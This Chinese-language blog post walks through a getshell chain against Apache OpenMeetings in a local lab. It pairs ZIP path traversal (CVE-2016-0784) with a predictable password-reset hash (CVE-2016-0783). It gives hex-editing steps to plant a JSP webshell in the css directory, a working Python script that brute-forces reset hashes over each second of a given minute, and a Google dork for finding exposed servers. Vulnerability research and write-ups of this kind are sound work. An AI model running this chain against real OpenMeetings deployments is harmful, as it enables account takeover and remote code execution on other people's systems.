Apache OpenMeetings 会议系统getshell初探

Apache OpenMeetings 算是比较冷门的系统,国内比较少见,要么都在内网吧。
根据已经发布的漏洞:
Apache OpenMeetings ZIP文件路径遍历(穿越)漏洞(CVE-2016-0784)
Apache OpenMeeting可预测密码重置令牌漏洞(CVE-2016-0783)
存在理论上getshell的可行性;

1. 本地搭建openmeetings环境;
2. 验证ZIP文件路径穿越漏洞;
准备穿越用的zip;
将jsp脚本改名为aaaaaaaaaaaaaaaaas2.jsp
然后zip,
Apache OpenMeetings 会议系统getshell初探
用UE打开,查找aaa(ASCII)
Apache OpenMeetings 会议系统getshell初探
替换aaa为../
Apache OpenMeetings 会议系统getshell初探
我们这里替换为 ../../../../ 跳4次
文件头和尾都有;
保存zip
上传:
管理员登录,找到backup/import
Apache OpenMeetings 会议系统getshell初探
导入zip
Apache OpenMeetings 会议系统getshell初探
会报一个错,不用理会的;
Apache OpenMeetings 会议系统getshell初探
查看文件:
Apache OpenMeetings 会议系统getshell初探
看来4跳走远了,3跳就够了;
其实jsp脚本放在openmeetings的根目录是不能运行的;但是我们放在css这样的目录就可以了;
Apache OpenMeetings 会议系统getshell初探
效果如下:
:5080/openmeetings/css/aaaas2.jsp
Apache OpenMeetings 会议系统getshell初探

如何获得shell就这样了;
Apache OpenMeeting可预测密码重置令牌漏洞
根据描述,查看源码,大概了解是这样的
private void sendHashByUser(User us, String appLink, UserDao userDao) throws Exception {     String loginData = us.getLogin() + new Date();     log.debug("User: " + us.getLogin());     us.setResethash(ManageCryptStyle.getInstanceOfCrypt().createPassPhrase(loginData));     userDao.update(us, -1L);     String reset_link = appLink + "?hash=" + us.getResethash();     String email = us.getAdresses().getEmail();     String template = ResetPasswordTemplate.getEmail(reset_link);     getBean(MailHandler.class).send(email, Application.getString(517), template);   }

hash=md5(user+java:Date())
Java的Date()格式输出是这样的
Thu Apr 28 10:52:24 CST 2016

操作如下:
这里有一个坑,忘记密码,我们看到的样子是这样的;
Apache OpenMeetings 会议系统getshell初探
结果我个人的本地环境,居然是这样的;
Apache OpenMeetings 会议系统getshell初探
当时也没有点,死活没有找到忘记密码在哪里点,结果点开之后更坑
Apache OpenMeetings 会议系统getshell初探
原因是我在安装的时候选择了“中文”,这特么也太远了,那个是用户啊!
重置操作:
Apache OpenMeetings 会议系统getshell初探
中文的
Apache OpenMeetings 会议系统getshell初探
猜解hash
#coding=utf-8 import time,sys import requests,hashlib def md5(str):     m = hashlib.md5()     m.update(str)     return m.hexdigest() if __name__=='__main__':     reset_time_format=time.strftime("%a %b %d %H:%M:%S",time.localtime())     print 'Date_Time_Format:  '+reset_time_format+' CST 2016'     current_xtime=time.strftime("%a %b %d %H:",time.localtime())     opm_link=sys.argv[1]     opm_port=sys.argv[2]     opm_user=sys.argv[3]     opm_mins=sys.argv[4]     for i in range(0,60):         secs = ("%02d"%i)         date=current_xtime+str(opm_mins)+':'+str(secs)+' CST 2016'         #print date         hastr=opm_user+str(date)         rest_hash=md5(hastr)         url='http://'+opm_link+':'+opm_port+'/openmeetings/reset?hash='+rest_hash         reset_action=requests.get(url)         req_content=reset_action.text         if 'Password set' in req_content:             print 'User: '+opm_user+'\n'             print 'Password reset url is:\n'+url
估计不了前后几分钟,单独将分钟独立出来,效果:
Apache OpenMeetings 会议系统getshell初探
重置操作
Apache OpenMeetings 会议系统getshell初探

新密码登录,然后zip上传,穿越,得shell。

附注:
date()是带时区的,Thu Apr 28 10:52:24 CST 2016 什么CET CST等;
因此针对国外的用户,这个时间是不一样的,因此问题在利用上需要猜的数量多了很多;

后来上了google,inurl:5080/openmeetings
居然发现了这个:
All Your Meetings Are Belong to Us: Remote Code Execution in Apache OpenMeetings
http://haxx.ml/post/141655340521/all-your-meetings-are-belong-to-us-remote-code
早知道就不搞环境,直接翻译一下算了。
文章中也提到了openmeetings根目录是不能运行jspshell的,但是他采用了另外的方式
修改配置,利用第三方插件来执行程序反弹
Apache OpenMeetings 会议系统getshell初探

最后那句话,本人不仅菜,而且脸皮还厚,请不吝指正。

评论区

评论一下~


20+32=?

已有 2 条评论

免费新大陆
读者

冲着缩略图进来的。。

跨境电商平台
读者

不错,谢谢分享。:P

回到顶部